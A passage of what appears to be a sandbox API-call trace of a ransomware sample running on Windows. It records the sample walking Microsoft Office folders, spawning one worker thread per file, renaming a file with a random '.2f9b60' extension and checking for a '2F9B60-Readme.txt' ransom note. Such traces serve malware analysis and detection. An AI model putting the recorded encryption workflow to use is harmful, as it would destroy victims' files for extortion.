Office\\Office14\\638de7dbf7c753f01213d92.2f9b60", NtPathName=0x2650fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\638de7dbf7c753f01213d92.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106e80 [0089.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.991] NtQueryInformationFile (in: FileHandle=0xa84, IoStatusBlock=0x2650fad8, FileInformation=0x2650fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2650fad8, FileInformation=0x2650fae8) returned 0x0 [0089.991] NtSetInformationFile (FileHandle=0xa84, IoStatusBlock=0x2650fad8, FileInformation=0x2650fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0089.993] FlushFileBuffers (hFile=0xa84) returned 1 [0089.994] CloseHandle (hObject=0xa84) returned 1 [0089.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85bb50 [0089.995] wcscpy (in: _Dest=0x1b85bb50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0089.995] wcscat (in: _Dest=0x1b85bb50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0089.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0089.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 [0089.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c0f0) returned 1 Thread: id = 380 os_tid = 0xf20 [0089.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79dd70 [0089.977] wcscpy (in: _Dest=0x1b79dd70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0089.977] wcscat (in: _Dest=0x1b79dd70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0089.977] wcscat (in: _Dest=0x1b79dd70, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*" [0089.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57b50 [0089.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d790 [0089.985] wcscmp (_String1=".", _String2=".") returned 0 [0089.985] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.985] wcscmp (_String1="..", _String2=".") returned 1 [0089.986] wcscmp (_String1="..", _String2="..") returned 0 [0089.986] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="AUTHOR~1.XSL")) returned 1 [0089.986] wcscmp (_String1="Author2String.XSL", _String2=".") returned 1 [0089.986] wcscmp (_String1="Author2String.XSL", _String2="..") returned 1 [0089.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad160 [0089.986] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0089.986] wcscat (in: _Dest=0x1b7ad160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0089.986] wcscat (in: _Dest=0x1b7ad160, _Source="Author2String.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" [0097.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0097.055] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="AUTHOR~2.XSL")) returned 1 [0097.055] wcscmp (_String1="Author2XML.XSL", _String2=".") returned 1 [0097.055] wcscmp (_String1="Author2XML.XSL", _String2="..") returned 1 [0097.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027a5b0 [0097.056] wcscpy (in: _Dest=0x2027a5b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0097.056] wcscat (in: _Dest=0x2027a5b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0097.056] wcscat (in: _Dest=0x2027a5b0, _Source="Author2XML.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" [0097.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074 [0097.057] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0097.057] wcscmp (_String1="Sort", _String2=".") returned 1 [0097.057] wcscmp (_String1="Sort", _String2="..") returned 1 [0097.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4530 [0097.057] wcscpy (in: _Dest=0x202a4530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0097.057] wcscat (in: _Dest=0x202a4530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0097.057] wcscat (in: _Dest=0x202a4530, _Source="Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0097.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a4530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078 [0097.058] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0097.058] wcscmp (_String1="Style", _String2=".") returned 1 [0097.058] wcscmp (_String1="Style", _String2="..") returned 1 [0097.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a45c0 [0097.058] wcscpy (in: _Dest=0x202a45c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0097.058] wcscat (in: _Dest=0x202a45c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\" [0097.058] wcscat (in: _Dest=0x202a45c0, _Source="Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0097.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a45c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x107c [0097.059] FindNextFileW (in: hFindFile=0x1cd9d790, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0097.059] FindClose (in: hFindFile=0x1cd9d790 | out: hFindFile=0x1cd9d790) returned 1 [0097.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57b50) returned 1 [0097.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0097.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 Thread: id = 381 os_tid = 0xf24 [0090.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e870 [0090.000] wcscpy (in: _Dest=0x1b79e870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0090.000] wcscat (in: _Dest=0x1b79e870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0090.000] wcscat (in: _Dest=0x1b79e870, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*" [0090.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57dc0 [0090.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d7f0 [0090.003] wcscmp (_String1=".", _String2=".") returned 0 [0090.003] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.003] wcscmp (_String1="..", _String2=".") returned 1 [0090.003] wcscmp (_String1="..", _String2="..") returned 0 [0090.003] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0090.003] wcscmp (_String1="MSART1.BDR", _String2=".") returned 1 [0090.003] wcscmp (_String1="MSART1.BDR", _String2="..") returned 1 [0090.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c0f0 [0090.004] wcscpy (in: _Dest=0x1b85c0f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0090.004] wcscat (in: _Dest=0x1b85c0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0090.004] wcscat (in: _Dest=0x1b85c0f0, _Source="MSART1.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" [0098.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90 [0098.014] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0098.014] wcscmp (_String1="MSART10.BDR", _String2=".") returned 1 [0098.014] wcscmp (_String1="MSART10.BDR", _String2="..") returned 1 [0098.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85bd90 [0098.014] wcscpy (in: _Dest=0x1b85bd90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.015] wcscat (in: _Dest=0x1b85bd90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.015] wcscat (in: _Dest=0x1b85bd90, _Source="MSART10.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" [0098.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1450 [0098.015] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0098.015] wcscmp (_String1="MSART11.BDR", _String2=".") returned 1 [0098.015] wcscmp (_String1="MSART11.BDR", _String2="..") returned 1 [0098.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85bbe0 [0098.015] wcscpy (in: _Dest=0x1b85bbe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.016] wcscat (in: _Dest=0x1b85bbe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.016] wcscat (in: _Dest=0x1b85bbe0, _Source="MSART11.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" [0098.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454 [0098.016] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0098.017] wcscmp (_String1="MSART12.BDR", _String2=".") returned 1 [0098.017] wcscmp (_String1="MSART12.BDR", _String2="..") returned 1 [0098.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202aec80 [0098.017] wcscpy (in: _Dest=0x202aec80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.017] wcscat (in: _Dest=0x202aec80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.017] wcscat (in: _Dest=0x202aec80, _Source="MSART12.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" [0098.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1458 [0098.018] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0098.018] wcscmp (_String1="MSART13.BDR", _String2=".") returned 1 [0098.018] wcscmp (_String1="MSART13.BDR", _String2="..") returned 1 [0098.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202aed10 [0098.018] wcscpy (in: _Dest=0x202aed10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.018] wcscat (in: _Dest=0x202aed10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.018] wcscat (in: _Dest=0x202aed10, _Source="MSART13.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" [0098.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aed10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x145c [0098.019] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0098.019] wcscmp (_String1="MSART14.BDR", _String2=".") returned 1 [0098.019] wcscmp (_String1="MSART14.BDR", _String2="..") returned 1 [0098.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202aeda0 [0098.019] wcscpy (in: _Dest=0x202aeda0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.019] wcscat (in: _Dest=0x202aeda0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.019] wcscat (in: _Dest=0x202aeda0, _Source="MSART14.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" [0098.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aeda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1460 [0098.020] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0098.020] wcscmp (_String1="MSART15.BDR", _String2=".") returned 1 [0098.020] wcscmp (_String1="MSART15.BDR", _String2="..") returned 1 [0098.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202aee30 [0098.020] wcscpy (in: _Dest=0x202aee30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.020] wcscat (in: _Dest=0x202aee30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.020] wcscat (in: _Dest=0x202aee30, _Source="MSART15.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" [0098.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aee30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1464 [0098.021] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0098.021] wcscmp (_String1="MSART2.BDR", _String2=".") returned 1 [0098.021] wcscmp (_String1="MSART2.BDR", _String2="..") returned 1 [0098.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202aeec0 [0098.021] wcscpy (in: 